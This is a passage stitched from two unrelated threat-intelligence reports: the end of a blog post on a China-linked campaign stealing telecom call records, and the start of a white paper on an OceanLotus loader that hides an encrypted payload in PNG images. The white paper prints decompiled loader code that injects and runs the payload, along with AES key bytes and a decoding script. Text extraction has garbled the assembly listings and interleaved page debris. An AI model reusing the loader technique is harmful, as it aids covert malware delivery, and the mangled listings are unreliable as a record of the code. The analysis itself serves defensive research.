contrast, when a nation state threat actor is attacking a big organization, the end goal is typically not financial, but rather intellectual property or sensitive information about their clients. One of the most valuable pieces of data that telecommunications providers hold is Call Detail Records (CDRs). CDRs are a large subset of metadata that contains all details about calls, including: Source, Destination, and Duration of a Call Device Details Physical Location Device Vendor and Version For a nation state threat actor, obtaining access to this data gives them intimate knowledge of any individuals they wish to target on that network. It lets them answer questions like: Who are the individuals talking to? Which devices are the individuals using? Where are the individuals traveling? Having this information becomes particularly valuable when nation-state threat actors are targeting foreign intelligence agents, politicians, opposition candidates in an election, or even law enforcement. 15/27 Example 1: CDR Data 16/27 Example 2: CDR Data Example 3: CDR Data Beyond targeting individual users, this attack is also alarming because of the threat posed by the control of a telecommunications provider. Telecommunications has become critical infrastructure for the majority of world powers. A threat actor with total access to a telecommunications provider, as is the case here, can attack however they want passively and also actively work to sabotage the network. This attack has widespread implications, not just for individuals, but also for organizations and countries alike. The use of specific tools and the choice to hide ongoing operations for years points to a nation state threat actor, most likely China. This is another form of cyber warfare being used to establish a foothold and gather information undercover until they are ready to strike. Want to learn about post-incident review? Threat Intel Research The following sections detail the methodology and work process used to piece together the various stages and components of the attack. This work enabled us to not only reconstruct these attacks, but also to find additional artifacts and information regarding the threat actor and its operations. 17/27 Methodology Step 1: Creating and Maintaining an IOC Inventory The first step in this process was to create a comprehensive list of indicators of compromise (IOCs) observed throughout the different stages of the attack. This list included various indicators, such as file hashes, domains, IP addresses, file names, and registry/service names. In addition to this, our reverse engineers were able to extract further IOCs from the collected samples, which have also been added to the list. The list of IOCs was periodically updated and fed back into our threat intel engine as more were discovered. Step 2: Hunting for Known Evil Equipped with an ever-growing list of known IOCs, our team set out to hunt for low-hanging fruit across multiple environments. This step was done by using both internal sources, such as the Cybereason solution, as well as hunting for indicators in the wild. The hunt for known evil yielded interesting results that helped uncover additional compromised assets as well as more parts of the attack infrastructure. Step 3: Threat Actor s Arsenal Perhaps one of the most interesting steps involved identifying and analyzing the tools the threat actor used throughout the attack. The combination of the preference of tools, sequence of use, and specifically how they are used during the attack says a lot about a threat actor, especially when it comes to attribution. One of the more notable aspects was how the threat actor used mostly known tools that were customized for this specific attack. Each tool was customized differently, and included re-writing the code, stripping debug symbols, string obfuscation, and embedding the victim s specific information within the tools configuration. However, the threat actor also used tools we were not able to attribute to any known tool. These tools were used in the later stages of the attack, once the operation was already discovered. This was most likely to decrease the risk of exposure or attribution. Finally, the payloads were almost never repeated. The threat actor made sure that each payload had a unique hash, and some payloads were packed using different types of packers, both known and custom. The main tools these attacks had in common are: 18/27 1. Web Shells A modified version of the China Chopper web shell was used for initial compromise. Custom-built web shells were used for later phases of the attack. 2. Reconnaissance Tools A modified version of Nbtscan was used to identify available NetBIOS name servers locally or over the network. Multiple Windows built-in tools were used for various tasks, including whoami, net.exe, ipconfig, netstat, portqry, and more. WMI and PowerShell commands were used for various tasks. 3. RAT PoisonIvy was used to maintain access across the compromised assets. PlugX was used in some of the instances that we're aware of. 4. Credential Dumpers A modified version of Mimikatz was used to dump credentials stored on the compromised machines. A PowerShell-based Mimikatz was also used to dump credentials stored on the compromised machines. 5. Lateral movement WMI was used for lateral movement. PsExec was also used for lateral movement. 6. Connection Proxy A modified version of hTran was used to exfiltrate stolen data. 7. Compression tool Winrar was used to compress and password-protect stolen data. Step 4: Creating a TTP-based Behavioral Profile One of the key components of threat hunting is to create a TTP-based behavioral profile of the threat actor in question. Malware payloads and operational infrastructure can be quickly changed or replaced over time, and as such, the task of tracking a threat actor can become quite difficult. For that reason, it is crucial to profile the threat actor and study its behavior, the tools it uses, and its techniques. These behavioral-based TTPs are less likely to change drastically, and are\ key factors of any threat hunt or attribution efforts. The Cybereason solution is compatible with the MITRE ATT&CK framework , which made it easy to keep track of the observed TTPs and correlate the data with known threat actors. The following chart reflects the behavioral profile of the threat actor based on the most frequently observed techniques used throughout these attacks. 19/27 MITRE ATT&CK Techniques Breakdown Initial Access Execution Persistence Privilege Escalation Defense Evasion Credential Access Exploit PublicFacing Application Command-line interface Web Shell Valid Accounts DLL-side Loading Credential Dumping Windows Management Instrumentation Create Account Web Shell Indicator Removal from Tools PowerShell Obfuscated Files or Information Masquerading Discovery Lateral Movement Collection Command Control System Network Configuration Discovery Data From Local System Remote File Copy Data Compressed Remote System Discovery Pass the Hash Data Staged Connection Proxy Account Discovery Remote File Copy Input Capture Exfiltration Impact Exfiltration Over Command and Control Channel Permission Groups Discovery Step 5: Mapping out the Infrastructure and Operational Activity Reconstructing the Infrastructure In order to make sense of all the data, we fed it into multiple threat intelligence sources, including our own and third parties. Note: Since we cannot share any IOCs, we will refer to file hashes, hostnames, IP addresses and other IOCs as generic placeholders. 20/27 Hostname1 is the hostname that was used for the C2 server targeting the telecommunications providers. Hostname1 connected to multiple tools. In analyzing the files, it is clear they are all contacting the same host hostname1. hostname1 was the C2 server that the malware and web shells connected to. Once we determined the hashes in the scope of the attack were only connecting to hostname1, which is a dynamic DNS hostname, we looked to see if we could find more information about the C2 server. A simple WHOIS query revealed that the IP address was registered to a colocation hosting company in Asia, though there was no other publicly available information about this IP address. By querying all of our threat intel resources about this IP address, we discovered that it was associated with multiple dynamic DNS hostnames. 21/27 Multiple dynamic DNS hostnames. We were unable to find indications of connections to Dynamic.DNS2 and Dynamic.DNS3. However, they were registered and associated with IP.Address1. For the other dynamic DNS hosts, we leveraged various threat intel repositories and crafted queries that searched for executables with these IP addresses and hostnames in their string table. One of the queries returned a few DLLs with identical names to the DLL we had initially investigated. However, the hashes were different. After obtaining the found DLLs, we patched them back into the NSIS installer and detonated the samples in our testing environment. Dynamic analysis of the newly obtained DLLs revealed a new set of domains and IP addresses that were completely different. These domains were actually related to different telecommunications providers. Note: Cybereason immediately reached out to those telecommunications providers and provided them all of the necessary information to handle the incident internally. 22/27 Strings from the dumped memory section of the injected shellcode. We can see many details about the attack including domains and C2 server IP addresses. Shellcode being unpacked and injected into a remote process. The redacted segments contain the name of the customer, C2 IP addresses, and domains. Infrastructure Operational Security 23/27 24/27 The threat actor s infrastructure. The threat actor had a specific pattern of behavior that allowed us to understand their modus operandi: they used one server with the same IP address for multiple operations. This server is a key component in their non-attributable infrastructure. The threat actor separated operations by using different hostnames per operation, though they are hosted on the same server and IP address. The domains and server registration information pointed to three main countries: China, Hong Kong, and Taiwan. This is cheap and efficient for the threat actor, but is almost transparent for a seasoned researcher with access to the right threat intelligence tools. There are previous reports of threat actors including APT10 and APT1 using dynamic DNS. Monitoring this infrastructure gave us information about if and when the threat actor was starting new waves of the attack or additional attacks on other providers. When researching C2 servers, it is important to watch for: Association with domains, especially if they are dynamic DNS domains. File hashes that are associated with the IP address or the domain of the C2 server. Static information and metadata from associated samples that could be used to broaden the search after additional information is gathered. This demonstrates the importance of proper operational security and a separation between tools and operations for threat actors. Step 6: Rounding Up Immediate/Potential Suspects Attribution is a fickle and delicate art. In most cases, it is very difficult to achieve 100% certainty when attributing an attack to a specific threat actor. It can be tempting to attribute an attack to a certain threat actor whenever certain tools-of-the-trade, IP addresses, strings, indicative techniques are observed. However, it is important to bear in mind that the aforementioned data points are often prone to manipulation and reuse across different threat actors. Further, they are not impervious to psychological warfare, as in, trying to an operation on a different threat actor to avoid proper attribution. In order to increase the certainty level when attributing to a specific threat actor, we took the following aspects of the attacks into consideration: Indicators of Compromise TTPs (Tactics, Techniques and Procedures) 25/27 Threat actor's tools Motive behind the attacks Regional and industry considerations Carefully examining each of the different aspects plays an important role in avoiding misattribution. This model offers a more balanced interpretation of the data that is based on a myriad of components. By performing a contextualized review of the data, you are able to yield a more wholesome result with greater certainty. When it comes to attributing Operation Soft Cell, we are unable to achieve 100% certainty with regard to the identity of the threat actor. However, based on our interpretation of the data, we conclude with a high level of certainty that: The threat actor behind Operation Soft Cell is likely state-sponsored. The threat actor is affiliated with China. After following the above attribution model and carefully reviewing the data, we are able to narrow down the suspect list to three known APT groups, all of which are known to be linked to China- APT10, APT27, and DragonOK. Having found multiple similarities to previous attacks, it is our estimation that the threat actor behind these attacks is likely linked to APT10, or at the very least, to a threat actor that shares tools, techniques, motive and infrastructural preferences with those of APT10. While we cannot completely rule out a copy-cat scenario, where another threat actor might masquerade as APT10 to thwart attribution efforts, we find this option to be less likely in light of our analysis of the data. Conclusion In this blog, we have described an ongoing global attack against telecommunications providers that has been active since at least 2017. The threat actor managed to infiltrate into the deepest segments of the providers network, including some isolated from the internet, as well as compromise critical assets. Our investigation showed that these attacks were targeted, and that the threat actor sought to steal communications data of specific individuals in various countries. Throughout this investigation, we have uncovered the infrastructure that facilitated the malicious operations taken by this threat actor. The data exfiltrated by this threat actor, in conjunction with the TTPs and tools used, allowed us to determine with a very high probability that the threat actor behind these malicious operations is backed by a nation 26/27 state, and is affiliated with China. Our contextualized interpretation of the data suggests that the threat actor is likely APT10, or at the very least, a threat actor that shares, or wishes to emulate its methods by using the same tools, techniques, and motives. s important to keep in mind that even though the attacks targeted specific individuals, any entity that possesses the power to take over the networks of telecommunications providers can potentially leverage its unlawful access and control of the network to shut down or disrupt an entire cellular network as part of a larger cyber warfare operation. Due to multiple and various limitations, we cannot disclose all the information we have gathered on the attack in this report. Our team will continue to monitor and track the threat actor s activity in order to identify more tools and compromised organizations. Ask the researchers questions about this attack during their live webinar. Closing Notes: This research, which is still ongoing, has been a huge effort for the entire Cybereason Nocturnus team. Special thanks goes to Niv Yona, Noa Pinkas, Josh Trombley, Jakes Jansen, and every single member of the Nocturnus team for the countless hours and effort that were put into this research. We will continue to monitor and update our blog with more information once available and as our investigation progresses. 27/27 OceanLotus Steganography Malware Analysis White Paper Contents Introduction.............................................................................................. 3 Steganography Loader #1.................................................................. 3 Backdoor Launcher............................................................................ 23 Initial Shellcode.................................................................................... 23 Overview.................................................................................................... 3 Launcher DLL........................................................................................ 28 Features..................................................................................................... 3 Configuration........................................................................................ 33 Loader Analysis....................................................................................... 4 Backdoor DLL........................................................................................ 33 Steganography Loader #2................................................................17 C2 Communication Module............................................................. 34 Overview................................................................................................. 17 Appendix................................................................................................. 35 Features.................................................................................................. 17 Indicators of Compromise (IOCs).................................................. 35 Loader Analysis.................................................................................... 18 Hunting.................................................................................................... 36 VirusTotal YARA OceanLotus Steganography : Malware Analysis White Paper Introduction While continuing to monitor activity of the OceanLotus APT Group, BlackBerry Cylance researchers uncovered a novel payload loader that utilizes steganography to read an encrypted payload concealed within a .png image file. The steganography algorithm appears to be bespoke and utilizes a least significant bit approach to minimize visual differences when compared with the original image to prevent analysis by discovery tools. Once decoded, decrypted, and executed, an obfuscated loader will load one of the APT32 backdoors. Thus far, BlackBerry Cylance has observed two backdoors being used in combination with the steganography loader a version of Denes backdoor (bearing similarities to the one described by ESET), and an updated version of Remy backdoor. However, this can be easily modified by the threat actor to deliver other malicious payloads. The complexity of the shellcode and loaders shows the group continues to invest heavily in development of bespoke tooling. This white paper describes the steganography algorithm used in two distinct loader variants and looks at the launcher of the backdoor that was encoded in one of the .png cover images. Steganography Loader #1 SHA256 ae1b6f50b166024f960ac792697cd688be9288601f423c15abbc755c66b6daa4 Classification Malware/Backdoor Size 659 KB (674,816 bytes) Type PE32 executable for MS Windows (DLL) (console) Intel 80386 32-bit File Name mcvsocfg.dll Observed September 2018 Overview This particular OceanLotus malware loader attempts to imitate McAfee s McVsoCfg DLL and expects to be side-loaded by the legitimate On Demand Scanner executable. It arrives together with an encrypted payload stored in a separate .png image file. The .png cover file is actually a valid image file that is not malicious on its own. The payload is encoded inside this image with the use of a technique called steganography, which utilizes the least significant bits of each pixel s color code to store hidden information, without making overtly visible changes to the picture itself. The encoded payload is additionally encrypted with AES128 and further obfuscated with XOR in an attempt to fool steganography detection tools. Features Side-loaded DLL Loads next-stage payload using custom .png steganography Uses AES128 implementation from Crypto++ library for payload decryption Known to load Denes backdoor, might possibly be used also with other payloads OceanLotus Steganography : Malware Analysis White Paper Loader Analysis The malicious DLL exports the same function names as the original mcvsocfg.dll library. All exports contain the exact same code which will decrypt the payload, inject it into memory, and execute it: int ValidateDrop() HANDLE v0; // ebx void *v1; // edi void *v2; // esi DWORD dwSize; // [esp+Ch] [ebp-4h] read_system_ini(); v0 = GetCurrentProcess(); v1 = (void *)decode_payload(&dwSize); v2 = VirtualAllocEx(v0, 0, dwSize, 0x1000u, 0x40u); WriteProcessMemory(v0, v2, v1, dwSize, 0); free(v1); return ((int (*)(void))v2)(); Figure 1. Common export entrypoint The payload is encoded inside a separate .png file using a technique called steganography. On top of that, the decoded payload is also encrypted with AES-128 and finally obfuscated with XOR 0x3B. It s worth noting that the XOR key is not hardcoded, but instead is read from the first byte of the C:\Windows\system.ini file: OceanLotus Steganography : Malware Analysis White Paper int __cdecl decode_payload(unsigned int *return_size) char xor_key; // bl int result; // eax void *decoded_payload; // edi _BYTE *decr_payload; // esi unsigned int v5; // ecx void *v6; // [esp-18h] [ebp-23Ch] int v7; // [esp-14h] [ebp-238h] int v8; // [esp-10h] [ebp-234h] int v9; // [esp-Ch] [ebp-230h] size_t v10; // [esp-8h] [ebp-22Ch] int v11; // [esp-4h] [ebp-228h] unsigned int decrypted_size; // [esp+Ch] [ebp-218h] int key_ptr; // [esp+10h] [ebp-214h] int payload_size; // [esp+14h] [ebp-210h] int iv_ptr; // [esp+18h] [ebp-20Ch] __int16 payload_filename; // [esp+1Ch] [ebp-208h] char v17; // [esp+1Eh] [ebp-206h] payload_filename = 0; memset(&v17, 0, 0x206u); if ( GetModuleFileNameW((HMODULE)0x10000000, (LPWSTR)&payload_filename, 0x104u) ) PathRemoveFileSpecW((LPWSTR)&payload_filename); PathAppendW((LPWSTR)&payload_filename, L x5j3trra.Png xor_key = read_system_ini(); payload_size = 0; result = decode_payload_from_img((LPCWSTR)&payload_filename, (int)&payload_size); decoded_payload = (void *)result; if ( result ) key_ptr = 0; iv_ptr = 0; get_key_and_iv(&key_ptr, &iv_ptr); decr_payload = cryptoPP_decrypt((int)decoded_payload, payload_size, key_ptr, iv_ptr, &decrypted_size); free(decoded_payload); v5 = 0; if ( decrypted_size ) decr_payload[v5++] ^= xor_key; while ( v5 < decrypted_size ); memmove_stuff((int)&v6, &word_1007B3BE); write_pid_to_desktop_ini(v6, v7, v8, v9, v10, v11); result = (int)decr_payload; *return_size = decrypted_size; return result; Figure 2. Payload decoding and decryption routine OceanLotus Steganography : Malware Analysis White Paper One of the payloads we encountered was encoded inside an image of Kaito Kuroba1, the gentleman thief character from a popular Japanese manga series: Figure 3. Kaito Kid To extract the payload, the malware will first initialize the GDI+ API and get the image width and height values: if ( PathFileExistsW(payload_path) ) gdi_input = 1; DebugEventCallback = 0; SuppressBackgroundThread = 0; SuppressExternalCodecs = 0; GdiplusStartup(&gdi_token, &gdi_input, 0); gdi_struct = (gdi_struct *)GdipAlloc(16); if ( gdi_struct ) gdi_struct->vtbl = (int)&Gdiplus::Bitmap::`vftable bitmap = 0; gdi_struct->status = GdipCreateBitmapFromFile(payload_path, &bitmap); gdi_struct->bitmap = (int)bitmap; else gdi_struct = 0; img_width = 0; gpstatus = GdipGetImageWidth(gdi_struct->bitmap, &img_width); if ( gpstatus ) gdi_struct->status = gpstatus; img_height = 0; gpstatus_1 = GdipGetImageHeight(gdi_struct->bitmap, &img_height); if ( gpstatus_1 ) gdi_struct->status = gpstatus_1; bitmap = 0; x = 0; prev_color = 0xFF000000; Figure 4. Use of GDI+ APIs https://en.wikipedia.org/wiki/Kaito_Kuroba. BlackBerry Cylance owns the trademarks included in this white paper. All other trademarks are the property of their respective owners. OceanLotus Steganography : Malware Analysis White Paper The size of the payload is encoded within the first four pixels of the image. After obtaining the size, the malware will allocate an appropriate memory buffer and proceed to decode the remaining payload byte by byte: bitmap = 0; x = 0; prev_color = 0xFF000000; gpstatus_2 = GdipBitmapGetPixel(gdi_struct->bitmap, x, 0, &color_1); if ( gpstatus_2 ) gdi_struct->status = gpstatus_2; argb = prev_color; else argb = color_1; prev_color = color_1; *((_BYTE *)&bitmap + x++) = BYTE2(argb) & 7 | 8 * (8 * argb | BYTE1(argb) & 7); while ( x < 4 ); size_of_bitmap = (unsigned int)bitmap; v10 = (size_t)bitmap; *(_DWORD *)size = bitmap; v11 = malloc(v10); Figure 5. Obtaining size of the payload OceanLotus Steganography : Malware Analysis White Paper The payload is encoded in the same way as the size each byte of the payload is computed from the ARGB color codes of each subsequent pixel in the image: img_height_1 = img_height; index = 0; bitmap = v11; y = 0; color_1 = 0; x_1 = 4; if ( img_height > 0 ) img_width_1 = img_width; if ( index >= size_of_bitmap ) break; if ( x_1 < img_width_1 ) if ( index >= size_of_bitmap ) break; v17 = GdipBitmapGetPixel(gdi_struct->bitmap, x_1, y, &color); if ( v17 ) gdi_struct->status = v17; argb_1 = prev_color; else argb_1 = color; prev_color = color; ++x_1; img_width_1 = img_width; bitmap[index++] = BYTE2(argb_1) & 7 | 8 * (8 * argb_1 | BYTE1(argb_1) & 7); y = color_1; while ( x_1 < img_width_1 ); img_height_1 = img_height; ++y; x_1 = 0; color_1 = y; while ( y < img_height_1 ); Figure 6. Steganography decoding routine OceanLotus Steganography : Malware Analysis White Paper In case the payload is bigger than the image used to store it, the remaining payload bytes are simply attached to the image after its IEND marker, and read directly from the file: (*(void (__thiscall **)(gdi_struct *, signed int))gdi_struct->vtbl)(gdi_struct, 1); if ( size_of_bitmap > index ) file = _wfopen(payload_path, L _file = file; if ( file ) fseek(file, 0, 2); pos = ftell(_file); fseek(_file, index - size_of_bitmap + pos, 0); fread(&bitmap[index], 1u, size_of_bitmap - index, _file); fclose(_file); Figure 7. Reading the remaining payload bytes The pixel encoding algorithm is fairly straightforward and aims to minimize visual differences when compared to the original image by only modifying the least significant bits of the red, green, and blue color byte values. The alpha channel byte remains unchanged. To encode a byte of the payload, the first three bits (0-2) are stored in the red color, the next three bits (3-5) are stored in the green color, and the final two bits (6-7) are stored in the blue color. Decoding is a simple inverse operation: Figure 8. RGBA pixel decoding OceanLotus Steganography : Malware Analysis White Paper Windows converts the .png pixel RGBA value to an ARGB encoding via the GdpiBitmapGetPixel API, which results in the following decoding: .text:1000219B .text:1000219D .text:1000219F .text:100021A2 .text:100021A5 .text:100021A8 .text:100021AA .text:100021AD .text:100021B0 .text:100021B2 edx, eax cl, al edx, 8 dl, 7 cl, 3 dl, cl eax, 16 dl, 3 al, 7 dl, al ; AARRGGBB ; BB ; GG ; GG = GG AND 7 ; BB = BB SHL 3 ; TMP = GG OR BB ; RR ; TMP = TMP SHL 3 ; RR AND 7 ; BYTE = TMP OR RR Figure 9. Pixel color decoding For example, an ARGB pixel value of 0xFF4086DB would yield the decoded byte 0xF0: Figure 10. ARGB pixel decoding OceanLotus Steganography : Malware Analysis White Paper To aid in the recovery of encrypted payloads, the following Python script can be used to decode pixel colors from a .png image. import png def get_rgba(w, h, pixels, x, y): Get RGBA pixel DWORD from x, y pos = x + y * w pixel = pixels[pos * 4 : (pos + 1) * 4] return pixel[0], pixel[1], pixel[2], pixel[3] def decode_pixel(w, h, pixels, x, y): Get RGBA pixel DWORD at x, y and decode to BYTE r, g, b, a = get_rgba(w, h, pixels, x, y) return (r & 7 | 8 * (8 * b | g & 7)) & 0xff # Open payload image w, h, pixels, metadata = png.Reader(filename= payload.png ).read_flat() size = 0 x = 0 y = 0 # Decode size of payload while x < 4: size = (size >> 8) | decode_pixel(w, h, pixels, x, y) << 24 x = x + 1 print(hex(size)) # Decode first row while x < w: print(hex(decode_pixel(w, h, pixels, x, y))) x = x + 1 Figure 11. Python script for decoding payload from a .png image After decoding the .png image, the loader then proceeds to initialize the key and IV used to perform AES decryption of the encrypted payload. Both values are supplied from an array of 256 pseudo-random bytes hardcoded in the binary s .rdata section. The first two bytes of that array specify the relative offsets to the key and IV respectively: .text:10002880 ; =============== S U B R O U T I N E ======================================= .text:10002880 .text:10002880 .text:10002880 get_key_and_iv proc near ; CODE XREF: decode_payload+9C .text:10002880 .text:10002880 key_ptr = dword ptr 4 .text:10002880 iv_ptr = dword ptr 8 .text:10002880 .text:10002880 ax, word ptr ds:crypto_parameters ; 0x32A4 .text:10002886 ecx, [esp+key_ptr] .text:1000288A movzx edx, al ; 0xA4 - offset of key in 256-byte array .text:1000288D edx, offset crypto_parameters .text:10002893 [ecx], edx .text:10002895 movzx ecx, ah ; 0x32 - offset of IV in 256-byte array .text:10002898 eax, [esp+iv_ptr] .text:1000289C ecx, offset crypto_parameters .text:100028A2 [eax], ecx .text:100028A4 retn .text:100028A4 get_key_and_iv endp .text:100028A4 Figure 12. Retrieving key and IV values OceanLotus Steganography : Malware Analysis White Paper .rdata:1007B588 offset_of_key .rdata:1007B588 .rdata:1007B589 offset_of_iv .rdata:1007B58A .rdata:1007B58A .rdata:1007B58A .rdata:1007B58A .rdata:1007B58A .rdata:1007B5BA aes_iv .rdata:1007B5BA .rdata:1007B5CA .rdata:1007B5CA .rdata:1007B5CA .rdata:1007B5CA .rdata:1007B5CA .rdata:1007B5CA .rdata:1007B5CA .rdata:1007B5CA .rdata:1007B5CA .rdata:1007B5CA .rdata:1007B62C aes_key .rdata:1007B62C .rdata:1007B63C .rdata:1007B63C .rdata:1007B63C .rdata:1007B63C .rdata:1007B63C .rdata:1007B63C .rdata:1007B63C .rdata:1007B63C db 0A4h ; DATA XREF: get_key_and_iv ; get_key_and_iv+D o ... db 32h db 6Eh, 1Fh, 0F7h, 0E5h, 27h, 0C5h, 0EEh, 0B8h, 0C8h, 9Bh db 6Ch, 7Dh, 0D1h, 0F6h, 55h, 3Eh, 76h, 0B7h, 72h, 90h db 0Ah, 0E6h, 90h, 0DEh, 0DDh, 1Ah, 0D9h, 10h, 2, 98h db 0E1h, 0CDh, 49h, 0B5h, 0FBh, 0F6h, 1Ch, 99h, 0E1h, 0E9h db 2Ah, 0FFh, 0F0h, 5, 0C1h, 65h, 0C1h, 0EAh db 0EDh, 47h, 0B1h, 0BEh, 4Eh, 0A9h, 34h, 87h, 8Fh, 18h db 8, 0Dh, 0EBh, 0DDh, 0B6h, 2Fh db 0BAh, 9Fh, 34h, 1Ch, 0FAh, 5Fh, 21h, 0DDh, 0D6h, 89h db 66h, 0Ah, 0F6h, 8Ah, 1Ch, 77h, 58h, 0EFh, 22h, 0BBh db 0E7h, 22h, 7Eh, 9Fh, 80h, 74h, 67h, 4, 91h, 0D4h db 0FDh, 4Ch, 49h, 0C1h, 4Bh, 22h, 30h, 0A5h, 0EFh, 8Eh db 25h, 0D3h, 0E7h, 0C5h, 43h, 2Ah, 91h, 4, 0FBh, 90h db 0B4h, 0FBh, 0BBh, 0FBh, 47h, 97h, 20h, 95h, 9Bh, 86h db 0F7h, 1Dh, 4Ch, 2, 8Bh, 19h, 0C1h, 35h, 3Fh, 0FAh db 47h, 0B2h, 0FFh, 94h, 96h, 14h, 3Ah, 0B9h, 5Bh, 56h db 0E2h, 62h, 8, 0, 1Fh, 1, 91h, 4Eh, 79h, 0B3h db 2, 9Bh, 0Ah, 69h, 96h, 7, 87h, 0E5h db 3Ah, 2Ah, 68h, 5Ch, 0C4h, 1, 48h, 1, 0FBh, 26h db 65h, 33h, 5Dh, 67h, 39h, 44h db 0A3h, 94h, 15h, 4Bh, 0E3h, 89h, 87h, 73h, 0BBh, 8Ch db 0F7h, 0ACh, 0A8h, 96h, 0FDh, 8Eh, 8Ch, 55h, 7Eh, 31h db 0EEh, 86h, 9Eh, 6, 0B7h, 1Dh, 5, 6Ah, 0E9h, 45h db 56h, 9Bh, 61h, 0C6h, 0C5h, 1, 0F1h, 3Bh, 2, 0B0h db 0A2h, 0F5h, 0A0h, 38h, 9, 9Ch, 59h, 65h, 29h, 0D6h db 0A6h, 7, 0E8h, 8, 56h, 1Dh, 0F6h, 0Eh, 93h, 0C5h db 84h, 1Dh, 8Ah, 76h, 35h, 5Ch, 4Ah, 0E1h, 0D1h, 0FBh db 9Dh, 51h, 52h, 0CEh, 8Fh, 0F8h Figure 13. AES key and IV inside an array of 256 pseudo-random bytes The loader uses the AES128 implementation from the open-source Crypto++2 library, which is instantiated in the following manner: CBC_Mode::Decryption *AESDecryption = new CBC_Mode::Decryption((BYTE*)key, 16, iv); AESDecryption->ProcessData((byte *)decrypted, (byte *)encrypted, length); Figure 14. Crypto++ interface https://www.cryptopp.com/ OceanLotus Steganography : Malware Analysis White Paper We were able to correlate most of the disassembly to the corresponding functions from the Crypto++ github source, and it doesn appear that the malware authors have modified much of the original code. A SimpleKeyringInterface class is used to initialize the key, while the IV is passed to the SetCipherWithIV function: .text:100028BE .text:100028C5 .text:100028CD .text:100028D5 .text:100028DA .text:100028DF .text:100028DF .text:100028E5 .text:100028EC .text:100028F7 .text:100028F9 .text:100028FC .text:10002907 .text:1000290C .text:1000290E .text:10002911 .text:10002918 .text:10002919 .text:1000291D call push push push call push push push call ecx, [esp+208h+cipher_struct] [esp+208h+var_1E8], 0Fh [esp+208h+decrypted_size], 0 byte ptr [esp+208h+decrypted_payload_buf], 0 cryptlib_algorithm_constructor dword_1009D664-2664h ; params 0x1009B004 -> 0x1007B6C8 ; get_NameValuePairs ecx, [esp+20Ch+cipher_struct] [esp+20Ch+cipher_struct], offset aes_vftable ; key_len [ebp+key_ptr] ; key [esp+214h+decrypt_vftable], offset aesdec_vftable SimpleKeyingInterface__SetKey ; int feedbackSize [ebp+iv_ptr] ; const byte *iv eax, [esp+210h+cipher_struct] ; &cipher ecx, [esp+214h+cbc_struct] SetCipherWithIV Figure 15. Algorithm and key initialization The decryption is performed with the use of the StreamTransformationFilter class with the StreamTransformation cipher set to AES CBC decryption mode: .text:10002953 loc_10002953: .text:10002953 .text:10002955 .text:10002956 .text:1000295A .text:1000295B .text:1000295F .text:1000295F .text:1000295F .text:10002964 .text:10002968 .text:1000296C .text:1000296E .text:10002970 .text:10002973 .text:10002976 .text:10002976 .text:10002979 .text:1000297D .text:10002981 .text:10002983 .text:10002985 .text:10002987 .text:10002989 push push push call push push push push call push push push push call ; CODE XREF: cryptoPP_stuff+9F ; paddingScheme ; StringSink(decrypted) eax, [esp+210h+decryptor] ; 0x1007B838 CryptoPP::CBC_Decryption::`vftable ecx, [esp+214h+StreamTransformationFilter] decFilter ; StreamTransformationFilter decFilter(*decryptor, ; new StringSink(decrypted), ; paddingScheme); eax, [esp+208h+StreamTransformationFilter] ecx, [esp+208h+StreamTransformationFilter] ; blocking ; messageEnd [ebp+enc_size] ; length [ebp+enc_payload] ; inString [eax+StreamTransformationFilter.Put2] ; decrypt buffer ; 0x10003870 BufferedTransformation__Put2 eax, [esp+208h+StreamTransformationFilter] ecx, [esp+208h+StreamTransformationFilter] 0FFFFFFFFh [eax+StreamTransformationFilter.Put2] Figure 16. Payload decryption with the use of CryptoPP StreamTransformationFilter class OceanLotus Steganography : Malware Analysis White Paper The library code performs numerous checks for the CPU features, and based on the outcome, it will choose a processor-specific implementation of the cryptographic function: .text:1000B6C0 Rijndael_Dec_AdvancedProcessBlocks proc near .text:1000B6C0 ; DATA XREF: .rdata:1007BBBC .text:1000B6C0 .text:1000B6C0 ib = dword ptr 4 .text:1000B6C0 xb = dword ptr 8 .text:1000B6C0 outBlocks = dword ptr 0Ch .text:1000B6C0 length = dword ptr 10h .text:1000B6C0 flags = dword ptr 14h .text:1000B6C0 .text:1000B6C0 g_x86DetectionDone, 0 .text:1000B6C7 push .text:1000B6C8 esi, ecx .text:1000B6CA short loc_1000B6D1 .text:1000B6CC call DetectX86Features .text:1000B6D1 .text:1000B6D1 loc_1000B6D1: ; CODE XREF: Rijndael_Dec_AdvancedProcessBlocks+A .text:1000B6D1 g_hasAESNI, 0 .text:1000B6D8 push [esp+4+flags] .text:1000B6DC push [esp+8+length] .text:1000B6E0 push [esp+0Ch+outBlocks] .text:1000B6E4 push [esp+10h+xb] .text:1000B6E8 push [esp+14h+ib] .text:1000B6EC short loc_1000B703 .text:1000B6EE push [esi+cipher.rounds] .text:1000B6F1 push [esi+cipher.sk] .text:1000B6F7 call Rijndael_Dec_AdvancedProcessBlocks_AESNI .text:1000B6FC esp, 1Ch .text:1000B6FF .text:1000B700 retn .text:1000B703 ; --------------------------------------------------------------------------.text:1000B703 .text:1000B703 loc_1000B703: ; CODE XREF: Rijndael_Dec_AdvancedProcessBlocks+2C https://en.wikipedia.org/wiki/Kaito_Kuroba .text:1000B703 ecx, esi .text:1000B705 call decrypt_no_AESNI .text:1000B70A .text:1000B70B retn .text:1000B70B Rijndael_Dec_AdvancedProcessBlocks endp Figure 17. CPU features check and call to the AES decryption routine OceanLotus Steganography : Malware Analysis White Paper One of the AES implementations makes use of the Intel AES-NI encryption instruction set which is supported by several modern Intel and AMD CPUs: .text:1002AC90 aes_decrypt_loop: .text:1002AC90 .text:1002AC90 .text:1002AC94 .text:1002AC97 movdqa .text:1002AC9C movdqa .text:1002ACA0 aesdec .text:1002ACA5 movdqa .text:1002ACA9 movdqa .text:1002ACAD aesdec .text:1002ACB2 movdqa .text:1002ACB6 movdqa .text:1002ACBA aesdec .text:1002ACBF movdqa .text:1002ACC3 movdqa .text:1002ACC7 aesdec .text:1002ACCC movdqa .text:1002ACD0 .text:1002ACD2 ; CODE XREF: AESNI_Dec_4_Blocks+67 ; AESNI_Dec_4_Blocks+B0 [esp+8+arg_4] edi, [edi+10h] xmm1, xmmword ptr [edi-10h] xmm0, xmmword ptr [ecx] xmm0, xmm1 xmmword ptr [ecx], xmm0 xmm0, xmmword ptr [edx] xmm0, xmm1 xmmword ptr [edx], xmm0 xmm0, xmmword ptr [esi] xmm0, xmm1 xmmword ptr [esi], xmm0 xmm0, xmmword ptr [eax] xmm0, xmm1 xmmword ptr [eax], xmm0 short aes_decrypt_loop edi, [esp+8+arg_14] Figure 18. Use of Intel AES-NI instruction set The decrypted payload undergoes one final transformation, where it is XORed with the first byte read from the C:\Windows\system. ini file, which is expected to begin with 